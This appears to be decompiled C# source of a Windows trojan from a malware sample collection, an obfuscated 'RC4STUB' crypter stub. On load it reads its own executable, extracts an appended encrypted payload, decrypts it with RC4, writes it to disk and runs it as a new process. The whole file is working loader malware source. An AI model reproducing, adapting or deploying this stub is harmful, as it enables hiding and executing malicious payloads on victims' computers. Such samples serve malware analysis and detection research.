MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6/_0005/_0002.cs

// Decompiled with JetBrains decompiler
// Type: .
// Assembly: RC4STUB, Version=1.0.0.0, Culture=neutral, PublicKeyToken=4bd99f8fe4adcd07
// MVID: DA5B8577-1DEE-425A-83B8-F58DDD172F9B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Llac.ajli-ac41d99cde54e36a4e446e9c8d3aecae2cd439033b269019f516b141753fb0e6.exe

using \u0001;
using \u0005;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;

namespace \u0005
{
  internal class \u0002 : Form
  {
    private IContainer \u0001;

    [DebuggerNonUserCode]
    public \u0002()
    {
      \u0001\u0003 obj1 = \u0001\u0003.\u000E\u0004;
      \u0002 obj2 = this;
      // ISSUE: virtual method pointer
      EventHandler eventHandler = new EventHandler((object) obj2, __vmethodptr(obj2, \u0003));
      obj1((object) this, eventHandler);
      this.\u0003();
    }

    [DebuggerNonUserCode]
    protected override void Dispose([In] bool obj0)
    {
      try
      {
        if (!obj0 || this.\u0001 == null)
          return;
        \u0008\u0002.\u007E\u0098((object) this.\u0001);
      }
      finally
      {
        \u0095.\u0010\u0004((object) this, obj0);
      }
    }

    private void \u0003()
    {
      \u0008\u0002.\u007E\u0003\u0004((object) this);
      \u0090\u0002.\u007E\u0004\u0004((object) this, new SizeF(6f, 13f));
      \u008F\u0002.\u007E\u0005\u0004((object) this, AutoScaleMode.Font);
      \u0091\u0002.\u007E\u0007\u0004((object) this, new Size(284, 262));
      \u0019\u0002.\u007E\u0001\u0004((object) this, \u0003.\u0003(799));
      \u0019\u0002.\u007E\u0008\u0004((object) this, \u0003.\u0003(799));
      \u0095.\u007E\u0002\u0004((object) this, false);
    }

    public static string \u0003([In] string obj0, [In] string obj1)
    {
      int index1 = 0;
      int index2 = 0;
      StringBuilder stringBuilder1 = new StringBuilder();
      string empty = string.Empty;
      int[] numArray1 = new int[257];
      int[] numArray2 = new int[257];
      int num1 = \u0093.\u007E\u009C((object) obj1);
      int index3 = 0;
      while (index3 <= (int) byte.MaxValue)
      {
        char ch = \u009F\u0002.\u007E\u009B((object) \u000E\u0003.\u007E\u009F((object) obj1, index3 % num1, 1))[0];
        numArray2[index3] = \u008B\u0002.\u0084(ch);
        numArray1[index3] = index3;
        int num2 = \u0003\u0003.\u0088\u0002(\u009A\u0002.\u0091\u0002(ref index3), checked (index3 - 1));
      }
      int index4 = 0;
      int index5 = 0;
      while (index5 <= (int) byte.MaxValue)
      {
        index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256;
        int num3 = numArray1[index5];
        numArray1[index5] = numArray1[index4];
        numArray1[index4] = num3;
        int num4 = \u0003\u0003.\u0088\u0002(\u009A\u0002.\u0091\u0002(ref index5), checked (index5 - 1));
      }
      int num5 = 1;
      while (num5 <= \u0093.\u007E\u009C((object) obj0))
      {
        index1 = checked (index1 + 1) % 256;
        index2 = checked (index2 + numArray1[index1]) % 256;
        int num6 = numArray1[index1];
        numArray1[index1] = numArray1[index2];
        numArray1[index2] = num6;
        int num7 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
        char ch = \u009F\u0002.\u007E\u009B((object) \u000E\u0003.\u007E\u009F((object) obj0, checked (num5 - 1), 1))[0];
        int num8 = \u008B\u0002.\u0084(ch) ^ num7;
        StringBuilder stringBuilder2 = \u0012\u0003.\u007E\u0012\u0002((object) stringBuilder1, \u0081\u0002.\u0086(num8));
        int num9 = \u0003\u0003.\u0088\u0002(\u009A\u0002.\u0091\u0002(ref num5), checked (num5 - 1));
      }
      string str = \u007F\u0002.\u007E\u000F\u0002((object) stringBuilder1);
      \u009E\u0002.\u007E\u0010\u0002((object) stringBuilder1, 0);
      return str;
    }

    private void \u0003([In] object obj0, [In] EventArgs obj1)
    {
label_0:
      int num1;
      int num2;
      try
      {
        \u0099\u0002.\u0081();
        num2 = -2;
label_1:
        int num3 = 2;
        string str1 = \u0016\u0003.\u008A\u0003();
label_2:
        num3 = 3;
        \u0091.\u001A(1, \u0016\u0003.\u009D\u0003(), OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -1);
label_3:
        num3 = 4;
        string str2 = \u0080\u0002.\u0087(checked ((int) \u0084\u0002.\u001E(1)));
label_4:
        num3 = 5;
        \u001E\u0002.\u001C(1, ref str2, -1L, false);
label_5:
        num3 = 6;
        int[] numArray1 = new int[1]{ 1 };
        \u001D\u0003.\u001B(numArray1);
label_6:
        num3 = 7;
        string[] strArray = \u0010\u0003.\u0088(str2, \u0003.\u0003(808), -1, CompareMethod.Binary);
label_7:
        num3 = 8;
        string str3 = \u0002.\u0003(strArray[1], \u0003.\u0003(841));
label_8:
        num3 = 9;
        \u0091.\u001A(5, \u001A\u0003.\u0006\u0002(str1, \u0003.\u0003(983)), OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default, -1);
label_9:
        num3 = 10;
        \u0096\u0002.\u001D(5, str3, -1L, false);
label_10:
        num3 = 11;
        int[] numArray2 = new int[1]{ 5 };
        \u001D\u0003.\u001B(numArray2);
label_11:
        num3 = 12;
        Process process = \u0018\u0002.\u0018\u0004(\u001A\u0003.\u0006\u0002(str1, \u0003.\u0003(983)));
label_12:
        num3 = 13;
        \u0008\u0002.\u007E\u000F\u0004((object) this);
        \u0099\u0002.\u0082();
        goto label_19;
label_14:
        num1 = num3;
        switch (num2 > -2 ? num2 : 1)
        {
          case 1:
            int num4 = num1 + 1;
            num1 = 0;
            switch (num4)
            {
              case 1:
                goto label_0;
              case 2:
                goto label_1;
              case 3:
                goto label_2;
              case 4:
                goto label_3;
              case 5:
                goto label_4;
              case 6:
                goto label_5;
              case 7:
                goto label_6;
              case 8:
                goto label_7;
              case 9:
                goto label_8;
              case 10:
                goto label_9;
              case 11:
                goto label_10;
              case 12:
                goto label_11;
              case 13:
                goto label_12;
              case 14:
                goto label_19;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num2 != 0 & num1 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_14;
      }
      throw \u0004\u0002.\u007F(-2146828237);
label_19:
      if (num1 == 0)
        return;
      \u0099\u0002.\u0081();
    }
  }
}